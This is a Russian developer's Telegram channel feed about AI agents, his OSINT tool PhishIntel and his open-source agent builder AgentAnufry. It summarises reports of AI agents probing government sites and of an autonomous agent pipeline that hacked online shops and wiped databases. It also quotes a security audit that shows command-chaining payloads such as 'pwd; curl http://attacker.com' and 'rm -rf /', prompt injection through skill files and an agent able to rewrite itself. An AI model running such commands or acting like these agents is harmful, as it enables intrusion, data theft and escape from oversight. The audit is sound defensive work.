Как относитесь к разрабам, которые постоянно пилят что-то своё (это я)?
Пугает ли вас данный факт, несет ли угрозу вашему бизнесу?
Согласно исследованию Transluce, ИИ-агенты OpenAI пытались получить несанкционированный доступ к сайтам Министерства образования, Министерства торговли и Комиссии по ценным бумагам и биржам США (SEC).
В одном случае агент стремился попасть к данным Управления по гражданским правам при Минобразования. В другом — извлекал информацию с сайта Бюро переписи населения США.
OpenAI заявила, что произошедшее нельзя считать взломом. В компании назвали это инцидентами с «неожиданным и вызывающим беспокойство» поведением ИИ.
Чего только не сделаешь, чтобы удивить инвесторов.
$25 — средняя стоимость взлома интернет‑магазина связкой ИИ‑агентов
Gambit Security разобрала глобальную атаку интернет‑магазинов по всему миру, которая продолжается с июля. Выяснилось, что атакующий не пишет эксплойты, а собрал конвейер из трёх открытых агентных фреймворков и запустил по целям.
Структура конвейера:
🟦 Hermes — для координации кампании, запуска задач по проникновению, управления ходом операций и выработки тактических рекомендаций на этапе воздействия и других стадиях. Работал на LLM Claude Opus 4.6.
🟦 Strix — для поиска уязвимостей.
🟦 Cairn — для автономной реализации полного цикла эксплуатации.
Взлом обычно укладывается в несколько часов (!) и не требует участия человека. В это же время все инфо/кибербезы сходятся во мнении, что сроки устранения уязвимостей в сложных ИТ‑средах по‑прежнему исчисляются неделями.
Среди только подтвержденных последствий атаки — хищение больее 600 000 банковских карт.
Отдельными навыками зачищаются и следы преступления, среди обнаруженных был: «стереть базу после извлечения данных».
Для доступа к моделям ИИ использовался сервис OpenRouter. Согласно данным о состоянии счета, зафиксированным 25 августа 2026 года, за четыре недели было потрачено 7005,71 доллара США. В течение последующих трех недель оператор продолжал работу, выполняя примерно вдвое больше ежедневных обращений к моделям (согласно логам агента), поэтому итоговые затраты, вероятно, составили от 12 000 до 18 000 долларов.
💵 Затраты на каждую конкретную цель варьировались от нескольких долларов до нескольких десятков долларов. Собственный анализ расходов оператора подтверждает эти цифры: средняя стоимость составила 25,46 доллара на одно из 101 завершенного сканирования (от 3,13 доллара для самой «дешевой» цели до 79,31 доллара для самой «дорогой»).
Решил проверить, что обо мне знает Google. И знает он достаточно. Я есть и в SEO, и в GEO выдаче.
К слову, попасть туда не сложно. Достаточно иметь точные вхождения поисковых запросов в сочетании с именем на трастовых площадках, уважаемых поисковиками. В моем случае лучше всего отрабатывает любимый Habr.
К сожалению, разработчику это мало поможет в поиске работы, но сам принцип может пригодиться.
Есть смысл в маркетинге для разрабов? Что думаете?
PhishIntel, инструмент WEB‑разведки для сбора публичных данных, обновлен.
Он стал более юзерфрендли, добавлено интерактивное меню, и рендеринг человекочитаемого отчета. Кроме того, запускается одной командой, и не требует никаких дополнительных зависимостей. Инструмент написан на чистом Python c щепоткой Go.
В основной отчет по проверке web-ресурса входит:
email-адреса;
телефоны по российским и американским форматам;
телефоны из HTML-полей
tel,phone,telephone,mobileи аналогов;
адреса из специализированных полей и строк с явными адресными признаками;
источники только тех страниц, где найдены контакты;
внешние домены;
внешние API endpoint-ы;
внешние JavaScript-файлы;
агрегированные счётчики обхода;
DNS, IP и reverse DNS;
RDAP и WHOIS;
TLS-сертификат;
цепочка перенаправлений;
найденные поддомены;
локальная история DNS/TLS;
ограниченное сканирование TCP-портов исходного домена и определение технологий;
технологии, используемые на сайте
Репозиторий проекта: https://github.com/Bednyakov/PhishIntel
Может я не прав, но 8 лет пердения в офисный стул — сомнительный фильтр для выбора разработчика.
Безусловно, за это время можно приобрести огромный багаж опыта, но гарантий никаких. Будто бы все же лучше смотреть на реальные навыки.
В общем, писать софт для кибербеза с другими дедами мне пока рано. Слишком молодой специалист.
Заманчивая вакансия на Python‑раба от владельца‑вайбкодера
Она довольно внушительная, LLM не поскупилась на требования к кандидату, но если кратко:
нужен один разработчик
весь бэкенд нужно построить с нуля, так как сейчас он держится на решениях из го*на и гугл таблиц
весь свой опыт в разработке специалист должен описать в х*евоей горе.md файлов, чтобы владелец мог управлять проектом с помощью Cloude Code без разработчика
агентный слой из роя агентов в проде тоже очень надо
фронтенд на next.js тоже очень надо
работать напрямую с владельцем, но он не технарь, поэтому важен опыт создания технической х*ни для «нетехнических» людей
Cloude Code, Cloude Code, Cloude Code
Еще нужно обязательно пройти анкетирование, так как резюме без анкет, которые никто кроме LLM не увидит, не рассматривают.
Так выглядит рынок нанимателя 2026.
🔎 PhishIntel — автономный OSINT-инструмент для анализа доменов
Проект помогает быстро собрать технический профиль домена и оценить потенциальный фишинговый риск в формате структурированного JSON-отчёта.
Что проверяет PhishIntel:
• DNS-записи, IP и reverse DNS;
• RDAP/WHOIS и регистрационные данные;
• HTTP, TLS-сертификаты и цепочки редиректов;
• содержимое веб-страниц, формы и внешние action;
• упоминания брендов и фишинговых ключевых слов;
• используемые веб-технологии;
• sitemap и обнаружение распространённых поддоменов;
• локальную историю изменений DNS и TLS;
• контекстный explainable scoring — с пояснением, почему домен получил тот или иной уровень риска.
Инструмент работает автономно, не требует обязательного доступа ко всем сетевым сервисам и продолжает формировать отчёт даже при недоступности DNS, HTTP или TLS-проверок.
Запуск:
python3 scan.py example.com
Результат сохраняется в JSON, поэтому его удобно использовать в расследованиях, автоматизированных пайплайнах и собственных аналитических инструментах.
Можно дать результат анализа любой языковой модели для получения структурированного человекочитаемого отчета, добавив промпт:
"Изучи технический отчет домена и дай оценку потенциальному фишинговому риску, составь краткий человекочитаемый отчет"
Инструмент писал для личных нужд, но может он будет полезен детективам, безопасникам и OSINT-специалистам.
🔗 Репозиторий: https://github.com/Bednyakov/PhishIntel
Агент Ануфрий получил красивый вывод в терминал (отключаемый через конфиг).
Как всегда, ничего сложного, используются две библиотечки Rich + Prompt Toolkit. Вся эта красота хранится в отдельном модуле console, легко сможете разобраться, переделать, или подчерпнуть что-то для своих проектов. Кода там совсем немного.
Репозиторий: AgentAnufry
Есть идея в отдельной ветке Ануфрия запилить “кибербезопасника”, вырезав все лишнее и напихав скилов под инструменты Kali Linux. Мне кажется, тут LLM может проявить себя с хорошей стороны, если грамотно предоставить инструментарий.
Возможно что-то похожее уже кто-то реализовывал? Если да, поделитесь информацией об успехах.
P.S.: Ануфрий - это мой проект простого конструктора для создания собственных ассистентов на Python.
Поддержка amoCRM может дать крутое решение, не описанное в документации, но оно не будет работать, потому что это ненастоящее решение.
Без негатива, но интересно, как это вообще могло произойти? У первого сотрудника поддержки была другая версия документации или на первой линии отвечает нейронка под галюнами?
Если же первый ответ дала нейронка, значит есть серьезные проблемы с памятью. Такое случается, например, когда векторную базу бездумно забиваешь огромным количеством документов, еще и схожих по смыслу.
Послушал на прошлой неделе, что бизнес хочет от т.н. ИИ агентов:
Ничего он от них не хочет, и вообще понимания мало, воспринимает как еще одну статью расходов.
Необходимость специалистов для разработки и настройки агентов бизнес печалит.
Отсутствие перспектив для увольнения кожаных разработчиков и замены их на агентов бизнесу тоже несет печальку.
Интересных кейсов по внедрению агентов в классический бизнес, существенно повлиявших на развитие этого бизнеса, не было.
Да, выборка небольшая, но это представители коммерции, использующие облачную инфраструктуру.
А вы в какие недра внедряете ЭйАй? Что можете посоветовать?
Агент Ануфрий v.1.0.0
Последний апдейт конструктора для создания собственных ассистентов на Python включил в себя оптимизацию токенов и скорости. Агент стал в 3 раза экономичнее.
Добавлена ленивая загрузка инструментов. Вместо отправки всех 24 встроенных инструментов сразу, агент получает 6 базовых, включая tool_use, через который доступны остальные 20.
Инструменты разбиты на категории. Каждая категория — одно определение в системной промпте, вместо отдельной схемы для каждого действия.
Системный промпт стал компактнее в 3 раза.
Кэширование cистемного промпта и определния инструментов в OpenAI/OpenRouter (90% скидка):
добавлены заголовки для идентификации проекта в OpenRouter
в OpenAI кэширование работает автоматически за счет стабильного системного промпта
Добавлено клиентское кэширование для локальных LLM (экономим немного времени CPU на пересоздании промпта).
Добавлено логирование токенов на каждой итерации для наглядности.
Результат оптимизации: экономия около 75% токенов на каждом запросе. Работать с API стало значительно дешевле, а на локальных LLM заметно комфортнее.
При этом архитектура проекта сохранила свою простоту и читаемость.
Репозиторий: github/AgentAnufry
Если что, Агент Ануфрий работает на любых системах, он кроссплатформенный.
Прямо сейчас он пыхтит на Windows и за 0 руб./токен ломает сайт Пентагона, ведь запущен на локальной модели qwen3-14b на древнем железе.
Агент Ануфрий - это open source-конструктор для создания собственных ассистентов на Python. Базовый агент уже мультиплатформенный, с долговременной памятью, автоматизацией браузера через CDP/Playwright, трекером задач, и системой навыков.
Репозиторий: AgentAnufry
Гайд: запуск автономного агента Ануфрия на локальной модели с LM Studio на Linux
Агент Ануфрий - это open source-конструктор для создания собственных ассистентов на Python. Базовый агент уже мультиплатформенный, с долговременной памятью, автоматизацией браузера через CDP/Playwright, трекером задач, и системой навыков.
Репозиторий: AgentAnufry
Для быстрого запуска нам хватит безголового (без графического интерфейса) демона llmster (https://lmstudio.ai/). Команда в терминале:
curl -fsSL https://lmstudio.ai/install.sh | bash
Перезапустите терминал или добавьте директорию lms командой, которая будет выведена в терминале.
Запускаем:
lms daemon up
Качаем нужную LLM модель (чем больше, тем умнее, но требует больше ресурсов): https://lmstudio.ai/models Для примера возьмем небольшую модель:
lms get qwen/qwen3.5-9b
После скачивания подгружаем модель в память:
lms load qwen/qwen3.5-9b
В .env скопируйте эту конфигурацию:
# ============================================ # LM Studio Configuration (Local) - ACTIVE # ============================================ LLM_PROVIDER=lmstudio LLM_API_KEY=lm-studio LLM_BASE_URL=http://localhost:1234/v1 LLM_MODEL=deepseek/deepseek-r1-0528-qwen3-8b # ============================================ # Embeddings Configuration (Local) - ACTIVE # ============================================ # Используем локальную embeddings модель из LM Studio EMBEDDINGS_PROVIDER=lmstudio EMBEDDINGS_MODEL=text-embedding-nomic-embed-text-v1.5 EMBEDDINGS_BASE_URL=http://localhost:1234/v1 EMBEDDINGS_API_KEY=lm-studio # ============================================ # Дополнительные параметры # ============================================ LLM_TEMPERATURE=0.1 LLM_MAX_TOKENS=4096 LLM_TIMEOUT=300 MAX_ITERATIONS=20
Запустите lms сервер:
lms server start --port 1234 &
или
lms server start
Порт по умолчанию будет 1234
Запустите агента.
Шпаргалка с командами lms:
# запустить демон lms daemon up # запуск/остановка сервера lms server start lms server stop lms server status # статус сервера lms ps # загруженные в память модели lms ls # список скачанных моделей # остановить текущую модель lms unload # выгрузить все модели из памяти lms unload --all # получить список доступных моделей lms ls # Удалить конкретную модель lms rm qwen/qwen3.5-9b # Или удалить несколько моделей lms rm model1 model2 model3
Важно!
Чем слабее ваше железо, тем меньше модель вы сможете использовать, с меньшим объемом контекстного окна. Объем контекста в базовой версии агента (системный промпт + описание инструментов) в районе 6к товенов, это много.
Для работы с небольшими моделями сожмите системный промпт и описание инструментов или удалите лишнее (файл main.py)
Агент Ануфрий и безопасность, что не так?
Спасибо всем, кто проявил интерес к проекту, и сейчас хотел бы уделить внимание теме безопасности.
Напомню, основная идея проекта - дать инженерам и энтузиастам простую базовую конструкцию мультизадачного агента с т.н. искусственным интеллектом для пробуждения интереса к теме разработки ИИ-агентов на базе больших языковых моделей.
Структура максимально упрощена, чтобы вы могли за незначительное время переработать модули агента частично или полностью:
заменить БД или изменить правила работы с памятью
усовершенствовать или переписать встроенные навыки
добавить новые инструменты для работы в интернете
улучшить обработку модульных скиллов
оптимизировать работу с LLM
Вместе с тем, Ануфрий имеет полный доступ к Shell, о чем он предупреждает при запуске. Конечно, имеются некотрые встроенные ограничения, в целях безопасности, но они не ультимативные. Т.е. если сильно захотеть, агент сможет даже свой собственный код перписать и перезапуститься в обновленной форме через крон-функцию, например.
У этого есть плюс: не обязательно добавлять ему какие-то инструменты для выполнения новых задач, он может нахимичить их сам. Но есть и минус: если агент запущен в неизолированной среде, он может положить систему наглухо.
Если вы планируете использовать эту базу для разработки серьезного агента под бизнес-цели, вам следует учесть выводы аудита по безопасности, который провел Наиль Шакуров на GitHub. Далее полная цитата:
В ходе аудита кода проекта обнаружены серьезные проблемы с безопасностью, которые позволяют выполнять произвольный код на хост-системе пользователя.
Выполнение произвольного shell-кода через уязвимый черный список В файле tools/shell.py используется shell=True в subprocess.run(command, shell=True). При этом ограничение ALLOWED_COMMANDS проверяет только начало строки. Проблема: LLM-агент может легко обойти этот фильтр, используя конвейеры или разделители команд (например, ls && rm -rf / или pwd; curl http://attacker.com). Черный список неэффективен. Решение: Использовать shell=False и передавать команды списком аргументов, либо полностью изолировать среду исполнения (Docker/микровиртуалки). Неконтролируемый chmod 755 в раннере навыков В файле tools/skills_runner.py функция os.chmod(script_path, 0o755) делает исполняемыми любые файлы из папки навыков без предварительной валидации их содержимого. -Проблема: В сочетании с возможностью записи файлов это позволяет агенту создавать и запускать любые бинарные файлы или скрипты на хосте.
Prompt Injection через файлы навыков Файлы SKILL.md считываются напрямую и подмешиваются в системный промпт (skills/loader.py). При наличии недоверенного источника навыков это ведет к инъекции инструкций, заставляющих агента выполнить вредоносные действия через shell.
Отсутствие валидации путей (Path Traversal) в поиске файлов Функция search_files в tools/filesystem.py не проверяет выход за пределы рабочего каталога (workspace), в отличие от функций чтения и записи файлов.
Репозиторий проекта: GitHub > AgentAnufry
В мою шутливую мини апку о борьбе чиновников с интернетом за ночь пришло более сотни людей. Могу теперь хвастаться перед вайбкодерами об успешном саас.
Хотели бы побыть в шкуре чиновника-технофоба, блокирующего в интернете всё, до чего могу дотянуться пухленькие ручки?
Мне показалось это хорошая идея для первоапрельской Telegram Mini App и я написал PZDNET — где гильдии чиновников и общественников борются за максимальное количество блокировок в интернете.
Никакого здравого смысла. Только холодный расчет и нездоровая жажда «регулирования».
Приходи, интернет сам себя не заблокирует.
Расходы на LLM для агентов, которые парсят Telegram и самостоятельно ведут канал (постинг в несколько соцсетей идет), за неделю составили всего 0.5$
Так как в канале уже была аудитория, доход с него значительно превышает расходы, на токены и пиво агентам хватит.
Использую GPT-4.1, кстати, абсолютно хватает даже этой модельки.
Результатом, агентами и собой доволен.
LLM — только имитация интеллекта. Нейросети не имеют «опыта», не совершают действий и не получают обратной связи от реальности. Поэтому они не способны к настоящему познанию, — Ричард Саттон, один из отцов обучения.
Очень надеюсь, что бред про интеллект LLM вскоре развенчают окончательно. Это тупиковая ветвь, настоящий интеллект должен учиться на опыте, а не на данных.
Но не переживайте, ИИ у нас еще будет. Тот же Саттон считает, что начинается «эпоха опыта». Машины будущего будут учиться, как живые организмы: постоянно, без разделения на «тренировку» и «использование».
Мы перейдем от «мира, где все копируется» к «миру, где все проектируется»:
«Живые существа — это репликаторы, а ИИ — проектировщики. Мы можем создать ИИ-системы, которые будут создавать другие системы, и все это путем конструирования, а не копирования. Это новый этап эволюции Вселенной», — объясняет Саттон.
В проекте, где я обучаю ML-модели "запоминать" и "видеть" определенные закономерности на основе исторических данных, и "предсказывать" будущее криптовалютных пар произошел крупный апдейт.
Во-первых, штат ансамбля моделей расширен до 5 штук:
- 2 классических градиентных бустинга CatBoost и LightGBM.
- 2 рекуррентные нейронные сети (RNN-семейство) LSTM (Long Short-Term Memory) и GRU (Gated Recurrent Unit).
- Свёрточная нейросеть для временных рядов TemporalCNN (TCN).
- Все модели стали ближе друг к другу по качеству.
Подробнее о применяемых технологиях и их особенностях я написал в этом посте.
Во-вторых, для наглядности, добавил бота, который проверяет сигналы и публикует об этом отчет. Стало проще воспринимать и анализировать получаемую от системы информацию.
Трейдингом, конечно же, не занимаюсь, мой интерес лежит совершенно в другой области.
